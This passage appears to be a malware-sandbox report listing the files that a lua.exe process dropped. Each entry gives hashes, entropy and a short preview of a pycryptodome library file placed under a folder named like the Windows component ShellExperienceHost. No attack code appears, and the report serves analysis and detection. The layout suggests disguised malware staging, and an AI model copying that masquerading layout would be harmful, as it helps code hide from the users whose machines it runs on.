Preview:	from typing import Union, List, Tuple, Optional....def _mult_gf2(f1: int, f2: int) -> int : .....def _div_gf2(a: int, b: int) -> int : .......class _Element(object):.. irr_poly: int.. def __init__(self, encoded_value: Union[int, bytes]) -> None: ..... def __eq__(self, other) -> bool: ..... def __int__(self) -> int: ..... def encode(self) -> bytes: ..... def __mul__(self, factor: int) -> _Element: ..... def __add__(self, term: _Element) -> _Element: ..... def inverse(self) -> _Element: ..... def __pow__(self, exponent) -> _Element: .......class Shamir(object):.. @staticmethod.. def split(k: int, n: int, secret: bytes, ssss: Optional[bool]) -> List[Tuple[int, bytes]]: ..... @staticmethod.. def combine(shares: List[Tuple[int, bytes]], ssss: Optional[bool]) -> bytes: .......

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Protocol\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1579
Entropy (8bit):	5.201093700172131
Encrypted:	false
SSDEEP:	48:MwWOqrYJALrYJHdG43tDs3EsIG13NcuIHs:MwDqrYJALrYJHdt3EHGuIM
MD5:	EB8179344608B85213CC70F97A338B99
SHA1:	63060697A45F92F79AE090D4C694DF42F0877460
SHA-256:	270642950532901553748FCD0A410F380465F0B0D2ADA065F3B98F87A0768327
SHA-512:	CFE340DA758CB09C838E68645CD721C76CD167FD90E0BACFD34CCC91858A04C79D5372A10DAF7CBE7A7A1D357EEA18EF2238A4D22CCCD63C32545FD97C21AF57
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Protocol\__init__.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	44
Entropy (8bit):	4.516027641266231
Encrypted:	false
SSDEEP:	3:UFo+Cu1KvCGQQN+Zen:U9uCGQY+Zen
MD5:	4200283AFF0E859DE9F1C15EBAD7A073
SHA1:	42B5DC005A804C92E877D93FB14FDB41E52C6C7A
SHA-256:	D17FF2840E82E8BDF3FC2378B27B824FE0C97506473295746C18253407FDA61B
SHA-512:	A4CC0C1A5F215A9E422DF2DF80086E39767ADB2D6D2DA0E086FED921D087847664CCD3D9F7170834E2DCE8B4C07F71422CA0BB962627D4A1CFAFF0E6621FD383
Malicious:	false
Preview:	__all__ = ['KDF.pyi', 'SecretSharing.pyi']..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Protocol\_scrypt.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	4.725011651996944
Encrypted:	false
SSDEEP:	192:Y942/KIb3bu95Pp2abc64rVNn4DLUOVdB:sJzCxl464nGUOf
MD5:	DCD7E1C1F1E68405D66CEF954CBAEE38
SHA1:	BBE8C8BDE0E1956F4D88D737D50B2215073CDCB1
SHA-256:	0EC713F4F3E963F618873FF538C7DCC532E0FABA5025C5A8E20AC089FDFCF1D4
SHA-512:	10D2048FF68515862B95E658BB33E42ED0FD2AB70DB66F2738487D21739172D4F24FFB8F239FDFC6F479CE582A85C3B8F8ADFB5024DAD5769713A4B3D22D3115
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........./...A...A...A.......A.@.@...A...@...A...@..A.@.D...A.@.E...A.@.B...A.f.I...A.f.A...A.f....A.f.C...A.Rich..A.........................PE..d...y.!`.........." ................T.....................................................`.........................................P8..d....8..d....`.......P..4............p..$....1...............................1..8............0...............................text...X........................... ..`.rdata.......0......................@..@.data........@.......&..............@....pdata..4....P.......(..............@..@.rsrc........`.......,..............@..@.reloc..$....p......................@..B........................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Random\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1866
Entropy (8bit):	5.171387928684167
Encrypted:	false
SSDEEP:	48:hIB0jcQHMsvI/S3oCFadPyopEm7XRXTR5:SFQHvohqTm7XRXF5
MD5:	F6DAA1095142342733AB132C05D1DDFE
SHA1:	1EBAFA39A224F69887333A00E0AE1BD69178315E
SHA-256:	05E8D3E5D2B18C1731189DB337B04CB83E966DC385930836FA22E9EE0F376FB9
SHA-512:	246058D7F397CDCACE81B09FDEBA5B17C240264A70375D99B4FD0FFBFFC54208D312BC38894E74B531BD3F9CB40105FA9DD834C74250B73A0C8E8DB583FB0E41
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# Random/__init__.py : PyCrypto random number generation..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ==

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Random\__init__.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	386
Entropy (8bit):	4.828244249619416
Encrypted:	false
SSDEEP:	6:1REYBFovLD2dC1ZSM+mHv0tAE7Ky3L5RSMtAMjMEFy7yA4TSJDZj5:1REYB8D2ACM+meh7KyVVpJy7yAGkDR5
MD5:	A4CDA07BACD9EDBD7C0243B029D79400
SHA1:	B068F43B0EAE31972C2B6C6335BBCA2497B948FB
SHA-256:	3A9548EF07A83C2F2BF7DB05EDB776BD788B9D9C112EA8155333242839CC27D7
SHA-512:	A1412BAF95D6910D821B927BE91CFD740F2DD8A98E259950E5FF06409CEC8E01EB6B06AC1747A8FF06098849142EBF2754AEED361FFCD37954FFFC13BCE1D3C0
Malicious:	false
Preview:	from typing import Any....__all__ = ['new', 'get_random_bytes']....from os import urandom....class _UrandomRNG(object):.... def read(self, n: int) -> bytes:..... def flush(self) -> None: ..... def reinit(self) -> None: ..... def close(self) -> None: .......def new(args: Any, *kwargs: Any) -> _UrandomRNG: .......def atfork() -> None: .......get_random_bytes = urandom....

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Random\random.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	5372
Entropy (8bit):	4.828979692628258
Encrypted:	false
SSDEEP:	96:o5wfFQHvoeTcHIpVaRhNkNNrvvGDwotbxcOV+gnNflG7b0/Yt5:o5wdQHv5rjIvsotlcU+g60/S
MD5:	3BD14C0DD7FE75741EE0742BDA794418
SHA1:	31B75C61FEA51D7E69247B3D47FC37DE5247C817
SHA-256:	01ADBD3F51A22F71EDD8B3FB3F45BB849C9D9A46E00A7CFD25C28EA780512E3C
SHA-512:	4FE054877C0749994FDE32CEA437C659FD2B406E3E057A2D9C27ADCFF6E556D8FEC48615B01AAD7B6502B40E5CF7C2CA342B626DB8D07F191E2D63FBD9E15E28
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# Random/random.py : Strong alternative for the standard 'random' module..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# C

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Random\random.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	827
Entropy (8bit):	4.8519295117268975
Encrypted:	false
SSDEEP:	24:1REqJeQCE+sAJOIE5P0fid1o4ZKXiojo/f:qQp+sd5CidO4fao/f
MD5:	B0274B8319F0D3895EBFC8E701A4F581
SHA1:	5BD9674085E5F80F101C78EDB96DCA0D1AD085B9
SHA-256:	4D65794E5AF850BE7D2AAD195AAC257F88092963022672302BB88FF2659282E4
SHA-512:	34BF84E9C8D59547411AF5F0ABC518C1CC368E89FB9F8F2EA4A254B6AE3E679A0697F895CE42AC362F7E97D29AFCD970D0E13B518D53B2B5B990A2C07935CEE3
Malicious:	false
Preview:	from typing import Callable, Tuple, Union, Sequence, Any, Optional....__all__ = ['StrongRandom', 'getrandbits', 'randrange', 'randint', 'choice', 'shuffle', 'sample']....class StrongRandom(object):.. def __init__(self, rng: Optional[Any]=None, randfunc: Optional[Callable]=None) -> None: ... # TODO What is rng?.. def getrandbits(self, k: int) -> int: ..... def randrange(self, start: int, stop: int = ..., step: int = ...) -> int: ..... def randint(self, a: int, b: int) -> int: ..... def choice(self, seq: Sequence) -> object: ..... def shuffle(self, x: Sequence) -> None: ..... def sample(self, population: Sequence, k: int) -> list: ......._r = StrongRandom()..getrandbits = _r.getrandbits..randrange = _r.randrange..randint = _r.randint..choice = _r.choice..shuffle = _r.shuffle..sample = _r.sample..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Util\Counter.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3187
Entropy (8bit):	5.012737590387847
Encrypted:	false
SSDEEP:	48:MRwEIB0jcQHMsvI/S3oCFGAZUqjZibFduSmZpXE3bpJ5U:MRwfFQHvo2Uq1cFYSYpXE3bpJ5U
MD5:	B6C4861C88BDB038DA75C5BE6C0A62DA
SHA1:	6F7EFF1D3929D3B1B86E037C4A966C3577C63B67
SHA-256:	DD54E1AF51F0335A7892D16155A9EDDF61380AC719EE42124B09B2EBC35B5687
SHA-512:	D4869AF3B5A820EEB156E1CA72BFD97FB3A6618A16BC665732C80164C774AF7AB51658646D19F6803B21776C8610B1467023C4C35D13926A071E5ECBB4190700
Malicious:	false
Preview:	# -- coding: ascii --..#..# Util/Counter.py : Fast counter for use with CTR-mode ciphers..#..# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Util\Counter.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	295
Entropy (8bit):	4.705947008789207
Encrypted:	false
SSDEEP:	6:1REYBr0hxrMND0R2D9F6s/2F62LMJteOFr2gCUA2gA1MJFuJry:1REYBr0DI1RFF2FDLMJzZ2gCn2gA1gM4
MD5:	48844D3840F12D7CC253481AEB936730
SHA1:	2329321B884361FF52CD1E79D4ECD3ABD2C08309
SHA-256:	7A86661370C3B894AEB4EDAD8755466DE52226588608A530F63F3E3379585AD0
SHA-512:	06990D253057568DB8B16CAFF5599CD48FDE3100B5193213BD250BD1797D11F2A62C00D493AAC5CA60CD557514B3AC543454D9D50991B9EEAA735B3D6E3A7150
Malicious:	false
Preview:	from typing import Optional, Union, Dict....def new(nbits: int, prefix: Optional[bytes]=..., suffix: Optional[bytes]=..., initial_value: Optional[int]=1,.. little_endian: Optional[bool]=False, allow_wraparound: Optional[bool]=False) -> \.. Dict[str, Union[int, bytes, bool]]: .....

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Util\Padding.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	4421
Entropy (8bit):	5.191112640865006
Encrypted:	false
SSDEEP:	96:e1tDqrYJALrYJHdt3EHGuI2gHdYUI1e+GJF37gR8C91/ErvyGAhQyAk:e1Vqrskrs9t3q/ILxF379aGyQyh
MD5:	FBF391FD249DDBB1C32502AC42999B5D
SHA1:	9559F22269BBE2A0F918705DED635B8CC666DD10
SHA-256:	A04416E7AA698FFFC0301EE284720426B69E9A3BCB2A0C7E954A054698C29405
SHA-512:	4241AEF302C010640C2FA86D92F2EE7EA34A865F759D14C02024F62A3452C593C0BCCABFE46043E879EB1CD73A290F85C0DD106A294684F628C100EA06382DF9
Malicious:	false
Preview:	#..# Util/Padding.py : Functions to manage padding..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SH

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Util\Padding.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	243
Entropy (8bit):	4.823438083026704
Encrypted:	false
SSDEEP:	6:1REYB0yqDLWJJni6Co6sRGcp5gUeQ/6sRGcp5/:1REYBkDyHZHRGe5VeQPRGe5/
MD5:	72AE5A92A5B5373240F3184324E84F6B
SHA1:	976AEA0ED87A3C086D068AE560FDB2FFCD591676
SHA-256:	ED464B7B39D2481D2C4DE1FF908308ADF7F035B21B3F7A242E469F1BD173DEF6
SHA-512:	27C15B7D76E180E1B65D566D8225C3661E78854515C9716A645C5F62E444B5A90AB61DDF92677B9C4A1276921711C281C814CAC60FA6D0BFC76A7716E4124613
Malicious:	false
Preview:	from typing import Optional....__all__ = [ 'pad', 'unpad' ]....def pad(data_to_pad: bytes, block_size: int, style: Optional[str]='pkcs7') -> bytes: .....def unpad(padded_data: bytes, block_size: int, style: Optional[str]='pkcs7') -> bytes: ...

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Util\RFC1751.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	21578
Entropy (8bit):	4.591349548627808
Encrypted:	false
SSDEEP:	384:aPe4cRum4V+EE2tKm/8MboR6U/6LcleM6s4riu6gvZGVSRq67:DAfHQgRGVe37
MD5:	73AEDFB55D3A90F08A29CC5D0AB7E623
SHA1:	D576725EC2571123AFE056369B58063BFB9D7724
SHA-256:	DFDB8CD578E00E485AD2070F24A3CFD7B0E75C972EBA73912B0BB59D8D67193B
SHA-512:	BB63BA3D20FC92A942F16C35E0128AEB2810310F75778FD6218D037D40AFFFCF3E19FFADE08882C0EC781548EACB5588A5B5A964E96FC5753CF44A9053EAADFD
Malicious:	false
Preview:	# rfc1751.py : Converts between 128-bit strings and a human-readable..# sequence of words, as defined in RFC1751: "A Convention for..# Human-Readable 128-bit Keys", by Daniel L. McDonald...#..# Part of the Python Cryptography Toolkit..#..# Written by Andrew M. Kuchling and others..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DA

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Util\RFC1751.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	166
Entropy (8bit):	4.7074966574817525
Encrypted:	false
SSDEEP:	3:1REvgBoGvFbT/uopMLUXvcgEsbd7RC7L6yuCnhlxEmu5gv:1REYBDFbaoiCEsdsPVua5EP5gv
MD5:	0DE296D8A8547E04D6926C50733B2BE8
SHA1:	00E9FDFFF578A121326A68BDDAD8C135CEDAD52D
SHA-256:	76B2DA534877F2226EA2D41EC36651EA9B0344F541B7B127DD6C51994F90F2C5
SHA-512:	1E6630A95E807139497202AB681F9B77974C90723DFFDADD1E100B4802B0D677DD4D2A3AC65A8ECF700AC6E1CC8BB353C2EBFFBBEE0AFB1C6ACA4C0D78C72A9E
Malicious:	false
Preview:	from typing import Dict, List....binary: Dict[int, str]..wordlist: List[str]....def key_to_english(key: bytes) -> str: .....def english_to_key(s: str) -> bytes: .....

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Util\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1968
Entropy (8bit):	4.96168817055765
Encrypted:	false
SSDEEP:	48:KIB0jcQHMsvI/S3oCFxSawf+bBVZ4YuOr2:dFQHvoEQ+tvY
MD5:	CCD084ED08A6E3D89DC9B9ECD62D524D
SHA1:	439DDFB5344BA4510F46A29913E7764824094696
SHA-256:	98831540F44AB7137A0DE53A8A8C818DEC32F0DC9C2731912424AECCE04C07FA
SHA-512:	354925C7E294A4FEA723AEBE1F618EF8DF1A82FDE95B578C86AB8DC21473E0719832E05D8971B537633631AAF62A2C6885A0D2F1F92A584C93F96F76D8204867
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Util\_cpu_features.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2035
Entropy (8bit):	5.0956096784751965
Encrypted:	false
SSDEEP:	48:MbWOqrYJALrYJHdG43tDs3EsIG13NcuIH2+Mq5+RscRV:MbDqrYJALrYJHdt3EHGuIWK5+RscRV
MD5:	D4DD7789231F56101EAA341F5FD21A95
SHA1:	81FFD38FA0896E265B36EF52A15EE3BA5FAD7A75
SHA-256:	38D65295DD3E4506C462350E7766FB7D16635CC7E6A234FE0E4B14C7AF6089C6
SHA-512:	268E5FEDF74F36A2309E83B6642ACE469D7871C29F1975D4080D5992E9A29F8DFA681EEE85E7E8106E6A15A95B0D2FC336A8EDB1B81BA55F49D3F9E940E8EA89
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2018, Helder Eijs <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Util\_cpu_features.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.354688723015057
Encrypted:	false
SSDEEP:	3:pAQybsRVLSyUkMFjRVLy:OdbsRnORQ
MD5:	2318A22B25D0854BD019BAEF901BB42A
SHA1:	37E3185DAACB1E611F02805F63044E28779DEFFF
SHA-256:	72FD9C4BBFF5954C58E3AE5C421334E7A570E5E8108DCB45499F8B497B359F5E
SHA-512:	B38E4BB47DF8EB1D8457D32BA047D2AB5278925854FEF51B8B922C9D0DC092DF19A1BCF9DF1F33CABD79583AC10D289F29A4E5A67B55B886D4282C5404767403
Malicious:	false
Preview:	def have_aes_ni() -> int: .....def have_clmul() -> int: .....

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Util\_cpuid_c.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	4.663437725467417
Encrypted:	false
SSDEEP:	96:5T8MdJTCaDAH37Belrzu1x/r8qJ7pfJsPG6Q9qHaGB0oYAsDJ9UqvA:9TdJTlDmNelrzuLFf0Q+03DLU
MD5:	F35A4C3BB2FB8782C1C3F0D6B493CE77
SHA1:	688C8BAA950CFD77FDDED246976829CC7510FCE9
SHA-256:	A6FEBA74067FB03EE4BA53D1608AB8012EB6BD1F995EBC42C21D653D57B8320B
SHA-512:	5CB5219DD33AC40BD901298F17945FAD21B25B0358056D10C84440048CF845BBB7ACD0F6501D4284508B7559EAE04074B03D13F6A1E4069DF011895DFD3CEAC9
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........mr..............t......,}.......g..............,}......,}......,}.......~.......~.......~.......~......Rich............................PE..d...w.!`.........." ................T........................................p............`..........................................'..\|...\|'..P....P.......@...............`..$....!...............................!..8............ ...............................text............................... ..`.rdata..H.... ......................@..@.data...H....0....... ..............@....pdata.......@......."..............@..@.rsrc........P.......$..............@..@.reloc..$....`.......&..............@..B........................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Util\_file_system.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2225
Entropy (8bit):	5.261890106278258
Encrypted:	false
SSDEEP:	48:MCWOqrYJALrYJHdG43tDs3EsIG13NcuIH3z+9gNQjdod9qRh3jy:MCDqrYJALrYJHdt3EHGuIXztObQ
MD5:	4505C49A1831D0C93256DA8E78C1564B
SHA1:	63721BBAEA6BE397ADC3C4C1AA4335DBECCE215C
SHA-256:	B8FF883AA293F99710EA591A58AA8D0D03FEEEDD5AA49C560B60A05FD3D413E1
SHA-512:	3C6F8710D907EE676C8770012E4DF3542A063D40185D52EF4C93AB98E8227F2C85C353C5B82B519D97D016FE62052084E8E4FB0B8609EBB59440F85E613A2602
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2016, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Util\_file_system.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	103
Entropy (8bit):	4.5743153977203175
Encrypted:	false
SSDEEP:	3:1REvgBAWxXfcAiTMXtKIOcSkWtWemUL/:1REYB9xXkVM96nRWe1/
MD5:	FFE308959102B5607429CEF941E9560E
SHA1:	3DA8DA002FEBDA41FE88459082E6CD8E57B9A5B3
SHA-256:	2F8B0576992C17D8191119B78CF52F73540F11F2502360F71266F5FF848FB5B5
SHA-512:	35EE20412D0AC941F7368DAB82E4A4996DF4058981BA6C07B24E99D533C2BE38E65B8911A7E99EE03A370DF63B557DD3F77839CA10BE939C98BE3E14BB650C65
Malicious:	false
Preview:	from typing import List......def pycryptodome_filename(dir_comps: List[str], filename: str) -> str: ...

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Util\_raw_api.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	10078
Entropy (8bit):	4.863465744795804
Encrypted:	false
SSDEEP:	192:9qrskrs9t3q/IVtqYqUq5WZ0c2RlpZj0Xn4n/noWKcv4WAc:0rskrs9Vq4YZUq5WZr27pZ4X4/oQT
MD5:	115FDA98B111E1BF984CCC53805DF20E
SHA1:	E0F7A634613A634416F2F9F10B63A8AA510AAF2C
SHA-256:	B1F3A1D460FD9A2632C7FC33FF413B86DD7811354AC36F095DC62018F046EC6E
SHA-512:	A19AAA093D562C926300E13D8086996AA01FCE240AA0A91F077BC5DA7F10F5F4BD1748693E15A4AF9AD249C7FDB785B0354102CB684255ECF7537B567A0DE48C
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Util\_raw_api.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
